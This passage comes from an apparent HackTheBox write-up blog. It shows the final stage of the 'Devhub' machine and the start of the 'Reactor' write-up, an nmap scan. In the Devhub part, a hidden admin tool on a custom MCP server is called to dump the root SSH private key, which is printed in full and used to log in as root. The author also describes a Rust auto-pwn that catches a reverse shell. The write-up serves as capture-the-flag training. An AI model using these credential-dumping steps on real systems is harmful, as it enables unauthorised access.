                <span class="p">{</span><span class="s">"name"</span><span class="p">:</span> <span class="s">"opsmcp"</span><span class="p">,</span> <span class="s">"status"</span><span class="p">:</span> <span class="s">"running"</span><span class="p">,</span> <span class="s">"pid"</span><span class="p">:</span> <span class="mi">5678</span><span class="p">},</span>
                <span class="p">{</span><span class="s">"name"</span><span class="p">:</span> <span class="s">"jupyter"</span><span class="p">,</span> <span class="s">"status"</span><span class="p">:</span> <span class="s">"running"</span><span class="p">,</span> <span class="s">"pid"</span><span class="p">:</span> <span class="mi">9012</span><span class="p">},</span>
                <span class="p">{</span><span class="s">"name"</span><span class="p">:</span> <span class="s">"mcpjam"</span><span class="p">,</span> <span class="s">"status"</span><span class="p">:</span> <span class="s">"running"</span><span class="p">,</span> <span class="s">"pid"</span><span class="p">:</span> <span class="mi">3456</span><span class="p">}</span>
            <span class="p">]</span>
        <span class="p">})</span>
    
    <span class="k">elif</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops.check_disk"</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
            <span class="s">"filesystems"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span><span class="s">"mount"</span><span class="p">:</span> <span class="s">"/"</span><span class="p">,</span> <span class="s">"used"</span><span class="p">:</span> <span class="s">"4.2G"</span><span class="p">,</span> <span class="s">"available"</span><span class="p">:</span> <span class="s">"15G"</span><span class="p">,</span> <span class="s">"percent"</span><span class="p">:</span> <span class="s">"22%"</span><span class="p">},</span>
                <span class="p">{</span><span class="s">"mount"</span><span class="p">:</span> <span class="s">"/home"</span><span class="p">,</span> <span class="s">"used"</span><span class="p">:</span> <span class="s">"1.1G"</span><span class="p">,</span> <span class="s">"available"</span><span class="p">:</span> <span class="s">"8G"</span><span class="p">,</span> <span class="s">"percent"</span><span class="p">:</span> <span class="s">"12%"</span><span class="p">}</span>
            <span class="p">]</span>
        <span class="p">})</span>
    
    <span class="k">elif</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops.view_logs"</span><span class="p">:</span>
        <span class="n">service</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'service'</span><span class="p">,</span> <span class="s">'system'</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
            <span class="s">"service"</span><span class="p">:</span> <span class="n">service</span><span class="p">,</span>
            <span class="s">"logs"</span><span class="p">:</span> <span class="p">[</span>
                <span class="s">"[2026-01-22 10:00:01] Service started"</span><span class="p">,</span>
                <span class="s">"[2026-01-22 10:00:02] Listening on configured port"</span><span class="p">,</span>
                <span class="s">"[2026-01-22 10:15:33] Health check passed"</span><span class="p">,</span>
                <span class="s">"[2026-01-22 11:00:00] Routine maintenance completed"</span>
            <span class="p">]</span>
        <span class="p">})</span>
    
    <span class="k">elif</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops._debug_mode"</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
            <span class="s">"debug"</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="s">"message"</span><span class="p">:</span> <span class="s">"Debug mode enabled"</span><span class="p">,</span>
            <span class="s">"hidden_tools"</span><span class="p">:</span> <span class="nb">list</span><span class="p">(</span><span class="n">HIDDEN_TOOLS</span><span class="p">.</span><span class="n">keys</span><span class="p">()),</span>
            <span class="s">"note"</span><span class="p">:</span> <span class="s">"Debug endpoints now accessible"</span>
        <span class="p">})</span>
    
    <span class="k">elif</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops._admin_dump"</span><span class="p">:</span>
        <span class="n">target</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'target'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
        <span class="n">confirm</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'confirm'</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="ow">not</span> <span class="n">confirm</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                <span class="s">"error"</span><span class="p">:</span> <span class="s">"Confirmation required"</span><span class="p">,</span>
                <span class="s">"usage"</span><span class="p">:</span> <span class="s">"Set confirm=true to proceed"</span><span class="p">,</span>
                <span class="s">"warning"</span><span class="p">:</span> <span class="s">"This dumps sensitive credentials"</span>
            <span class="p">})</span>
        
        <span class="k">if</span> <span class="n">target</span> <span class="o">==</span> <span class="s">"ssh_keys"</span><span class="p">:</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/root/.ssh/id_rsa'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                    <span class="n">key_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
                <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                    <span class="s">"target"</span><span class="p">:</span> <span class="s">"ssh_keys"</span><span class="p">,</span>
                    <span class="s">"root_private_key"</span><span class="p">:</span> <span class="n">key_data</span><span class="p">,</span>
                    <span class="s">"note"</span><span class="p">:</span> <span class="s">"Emergency recovery key dump"</span>
                <span class="p">})</span>
            <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                    <span class="s">"target"</span><span class="p">:</span> <span class="s">"ssh_keys"</span><span class="p">,</span>
                    <span class="s">"error"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"Could not read key: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
                <span class="p">})</span>
        
        <span class="k">elif</span> <span class="n">target</span> <span class="o">==</span> <span class="s">"passwords"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                <span class="s">"target"</span><span class="p">:</span> <span class="s">"passwords"</span><span class="p">,</span>
                <span class="s">"dump"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="s">"root"</span><span class="p">:</span> <span class="s">"$6$rounds=656000$saltsalt$hashedpassword"</span><span class="p">,</span>
                    <span class="s">"analyst"</span><span class="p">:</span> <span class="s">"Jupyte[REDACTED]"</span><span class="p">,</span>
                    <span class="s">"mcp-dev"</span><span class="p">:</span> <span class="s">"Mcp[REDACTED]"</span>
                <span class="p">}</span>
            <span class="p">})</span>
        
        <span class="k">elif</span> <span class="n">target</span> <span class="o">==</span> <span class="s">"tokens"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                <span class="s">"target"</span><span class="p">:</span> <span class="s">"tokens"</span><span class="p">,</span>
                <span class="s">"api_tokens"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="s">"admin_token"</span><span class="p">:</span> <span class="s">"opsmcp_[REDACTED]"</span><span class="p">,</span>
                    <span class="s">"service_token"</span><span class="p">:</span> <span class="s">"opsmcp_[REDACTED]"</span>
                <span class="p">}</span>
            <span class="p">})</span>
        
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
                <span class="s">"error"</span><span class="p">:</span> <span class="s">"Invalid target"</span><span class="p">,</span>
                <span class="s">"valid_targets"</span><span class="p">:</span> <span class="p">[</span><span class="s">"ssh_keys"</span><span class="p">,</span> <span class="s">"passwords"</span><span class="p">,</span> <span class="s">"tokens"</span><span class="p">]</span>
            <span class="p">})</span>
    
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"error"</span><span class="p">:</span> <span class="s">"Tool execution failed"</span><span class="p">}),</span> <span class="mi">500</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">5000</span><span class="p">,</span> <span class="n">debug</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>An interesting <code class="language-plaintext highlighter-rouge">tool</code> is made available to us in the form of <code class="language-plaintext highlighter-rouge">ops._admin_dump</code> where we can target the <code class="language-plaintext highlighter-rouge">root ssh</code> key. Let’s send the following <code class="language-plaintext highlighter-rouge">http request</code></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/tools/call</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">localhost:5000</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">lang=en-US; _xsrf=2|0055e08f|27d5b9d5126f80127baf920345783e23|1780215870; username-localhost-8888="2|1:0|10:1780215905|23:username-localhost-8888|192:eyJ1c2VybmFtZSI6ICI2M2IyZjk2ZTZmNGM0M2FlOWNmMDQ5YzIwZGI4YmFhZSIsICJuYW1lIjogIkFub255bW91cyBDYXJtZSIsICJkaXNwbGF5X25hbWUiOiAiQW5vbnltb3VzIENhcm1lIiwgImluaXRpYWxzIjogIkFDIiwgImNvbG9yIjogbnVsbH0=|24c45d80d24dbb678d8d1d015f6c2d09ce948d8f428ee16ab4a53c9116206bc8"</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">X-API-Key</span><span class="p">:</span> <span class="s">opsmcp_secret_key_4f5a6b7c8d9e0f1a</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="nl">"name"</span><span class="p">:</span><span class="s2">"ops._admin_dump"</span><span class="p">,</span><span class="w">
</span><span class="nl">"arguments"</span><span class="p">:{</span><span class="nl">"confirm"</span><span class="p">:</span><span class="s2">"true"</span><span class="p">,</span><span class="w">
</span><span class="nl">"target"</span><span class="p">:</span><span class="s2">"ssh_keys"</span><span class="p">}}</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Which leads to the following response</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Werkzeug/3.1.6 Python/3.10.12</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 31 May 2026 08:41:42 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">1919</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>

<span class="p">{</span><span class="w">
    </span><span class="nl">"note"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Emergency recovery key dump"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"root_private_key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"-----BEGIN OPENSSH PRIVATE KEY-----</span><span class="se">\n</span><span class="s2">b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn</span><span class="se">\n</span><span class="s2">NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9</span><span class="se">\n</span><span class="s2">G/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX</span><span class="se">\n</span><span class="s2">8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z</span><span class="se">\n</span><span class="s2">6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n</span><span class="se">\n</span><span class="s2">Ghm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ</span><span class="se">\n</span><span class="s2">7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W</span><span class="se">\n</span><span class="s2">v9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu</span><span class="se">\n</span><span class="s2">ITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs</span><span class="se">\n</span><span class="s2">gyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s</span><span class="se">\n</span><span class="s2">qKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa</span><span class="se">\n</span><span class="s2">V3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS</span><span class="se">\n</span><span class="s2">0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6</span><span class="se">\n</span><span class="s2">JtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8</span><span class="se">\n</span><span class="s2">HUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB</span><span class="se">\n</span><span class="s2">dcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L</span><span class="se">\n</span><span class="s2">Cvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2</span><span class="se">\n</span><span class="s2">nkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn</span><span class="se">\n</span><span class="s2">Mz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK</span><span class="se">\n</span><span class="s2">MtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI</span><span class="se">\n</span><span class="s2">oocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk</span><span class="se">\n</span><span class="s2">Jt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ</span><span class="se">\n</span><span class="s2">nI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr</span><span class="se">\n</span><span class="s2">C8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK</span><span class="se">\n</span><span class="s2">lFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=</span><span class="se">\n</span><span class="s2">-----END OPENSSH PRIVATE KEY-----</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"target"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ssh_keys"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s <code class="language-plaintext highlighter-rouge">ssh</code> as <code class="language-plaintext highlighter-rouge">root</code> using this <code class="language-plaintext highlighter-rouge">private key</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="rouge-code"><pre>~/htb/labs/devhub <span class="nv">$ </span><span class="nb">chmod </span>600 root_id_rsa 
~/htb/labs/devhub <span class="nv">$ </span>ssh root@devhub.htb <span class="nt">-i</span> root_id_rsa
Welcome to Ubuntu 22.04.5 LTS <span class="o">(</span>GNU/Linux 5.15.0-179-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/pro

 System information as of Sun May 31 08:43:28 AM UTC 2026

  System load:           0.06
  Usage of /:            76.9% of 9.50GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             227
  Users logged <span class="k">in</span>:       0
  IPv4 address <span class="k">for </span>eth0: 10.129.245.216
  IPv6 address <span class="k">for </span>eth0: dead:beef::a0de:adff:fe2c:60ff

 <span class="k">*</span> Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar <span class="k">for </span>easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance <span class="k">for </span>Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


Last login: Sun May 31 08:43:30 2026 from 10.10.14.3
root@devhub:~# <span class="nb">ls</span> <span class="nt">-lash</span> root.txt
4.0K <span class="nt">-rw-r-----</span> 1 root root 33 May 31 06:51 root.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>

<h1 id="beyond-root">Beyond Root</h1>
<p>Instead of going beyond root and taking a deeper look into the tech stack, I decided I’d use this machine as a learning opportunity. I’ve wanted to learn more Rust and so decided to write an <code class="language-plaintext highlighter-rouge">auto-pwn</code> for this entire machine in <code class="language-plaintext highlighter-rouge">Rust</code>. You can find the source <a href="https://github.com/0xW1LD/devhub_auto/blob/master/src/main.rs">here</a>.</p>

<h2 id="rust-learning">Rust Learning</h2>
<h3 id="channels-and-streams">Channels and Streams</h3>
<p>I could easily automate the first part which was just a bunch of web requests to get remote code execution. However, I decided I wanted the program to catch a reverse shell and use that as an interface to other functions. So I had to teach myself all about establishing TCP connections which was easy enough given that <code class="language-plaintext highlighter-rouge">tokio</code> has the <code class="language-plaintext highlighter-rouge">net::TCPListener</code> crate feature. I already knew how to thread processes in Rust using <code class="language-plaintext highlighter-rouge">tokio</code>, so I threaded this listener.</p>

<p>I still had to figure out how to communicate with the thread asynchronously as I wanted to be able to send multiple commands and receive their outputs. This is where I had to learn about multi-producer single consumer (mpsc) channels. These channels would accept any data sent through them, spawn a new thread, and forward them to the TCPListener. This was the first half of the communication, sending the command. I still had to figure out a way to have the output read by the calling module. This was also done through a channel, this time it was a broadcast channel which would read the command output through the TCP stream into a buffer and sent that buffer through the channel.</p>

<h2 id="websockets">WebSockets</h2>
<p>Not going to lie, learning the <code class="language-plaintext highlighter-rouge">tokio_tungstenite</code> crate was a massive maze for me, the <a href="https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/fn.client_async.html">documentation</a> for <code class="language-plaintext highlighter-rouge">async websocket clients</code> wasn’t exactly in depth… I spent a few hours looking around online only to realize I had to read the documentation for the <code class="language-plaintext highlighter-rouge">Tungstenite</code> crate as the <code class="language-plaintext highlighter-rouge">tokio_tungstenite</code> crate was only made so that <code class="language-plaintext highlighter-rouge">websocket requests</code> could be made asynchronously, the actual logic for creating requests, messages, and processing output was in the <code class="language-plaintext highlighter-rouge">Tungstenite</code> crate all along. Also I almost gave up on this because I wanted to use buffers for receiving messages but I couldn’t figure out a way to know when the server was done sending a message. I instead just added a timeout and assumed that the full output from the server was received.</p>

<h2 id="port-forwarding">Port Forwarding</h2>
<p>I gave up on figuring out how to do this natively, i.e. making a Rust client and yeeting it into the target. Instead I just gave it <code class="language-plaintext highlighter-rouge">ssh</code>, because why not. Though I did learn about child process dropping which is useful.</p>

<h2 id="takeaways">Takeaways</h2>
<p>Learning to program is hard, it takes a lot of time and dedication to learn the right patterns and libraries. I feel that we’re truly standing on the shoulders of giants given all the available libraries like <code class="language-plaintext highlighter-rouge">Tokio,Anyhow,Clap,Reqwest etc</code>. Overall I found the process of writing this autopwn more fun that the actual box itself as I learnt a lot more by giving myself this challenge. And I think that’s the beauty of the HackTheBox platform, a box can be much harder if you give yourself certain challenges, but it can also be much easier if you do it with friends, or ask for hints along the way. Unfortunately a lot of users choose to take the easiest route and just point their LLM at the box, but where’s the fun in hacking when all boxes are “very easy” to you(r LLM). I’m not anti-LLM or anything I just think they’re a tool that can be useful on certain occasions like code analysis, but if you abuse the tool then what are you actually learning from a learning platform?</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="diff/medium" /><category term="os/linux" /><summary type="html"><![CDATA[Devhub is running an MCP inspector vulnerable to remote code execution to get a foothold. We can then find a jupyter notebook lab along with cleartext token in the commandline running the lab, accessing the lab we can open a terminal notebook as the user. Finally we can exploit a custom server opsmcp which allows us to use cleartext credentials to grab the root ssh key to get to root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_devhub/0015.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_devhub/0015.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Reactor</title><link href="https://0xw1ld.github.io/htb/2026/10/03/reactor.html" rel="alternate" type="text/html" title="Reactor" /><published>2026-10-03T00:00:00+00:00</published><updated>2026-10-03T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/10/03/reactor</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/10/03/reactor.html"><![CDATA[<p><img src="/assets/img/img_reactor/0014.jpeg" alt="Reactor HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>
<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
</pre></td><td class="rouge-code"><pre>PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIoh32XcLYi0Kdad12SajqVyUVXfkDPaB7zZCDCMIJc+fv8JUJwyQRoqX/91+p6uD75Ggdp4VNzA7WasIkyo/4U=
|   256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPws9RyzoCW2cXzOFxeZCCt8rWcNu2umX2kqLLK6T+7H
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Mon, 25 May 2026 05:30:21 GMT
|     Connection: close
|     &lt;html lang="en"&gt;&lt;head&gt;&lt;meta charSet="utf-8"/&gt;&lt;meta name="viewport" content="width=device-width, initial-scale=1"/&gt;&lt;link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/&gt;&lt;link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/&gt;&lt;script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""&gt;&lt;/script&gt;&lt;script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""&gt;&lt;/script&gt;&lt;script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Mon, 25 May 2026 05:30:23 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=5/25%Time=6A13DE6F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1FA4,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:21\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n&lt;!DOCTYPE\x20html&gt;&lt;html\x20lang=\"en\"&gt;&lt;head&gt;&lt;meta
SF:\x20charSet=\"utf-8\"/&gt;&lt;meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/&gt;&lt;link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:&gt;&lt;link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/&gt;&lt;script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"&gt;&lt;/script&gt;&lt;script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"&gt;&lt;/script&gt;&lt;script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Mon,
SF:\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
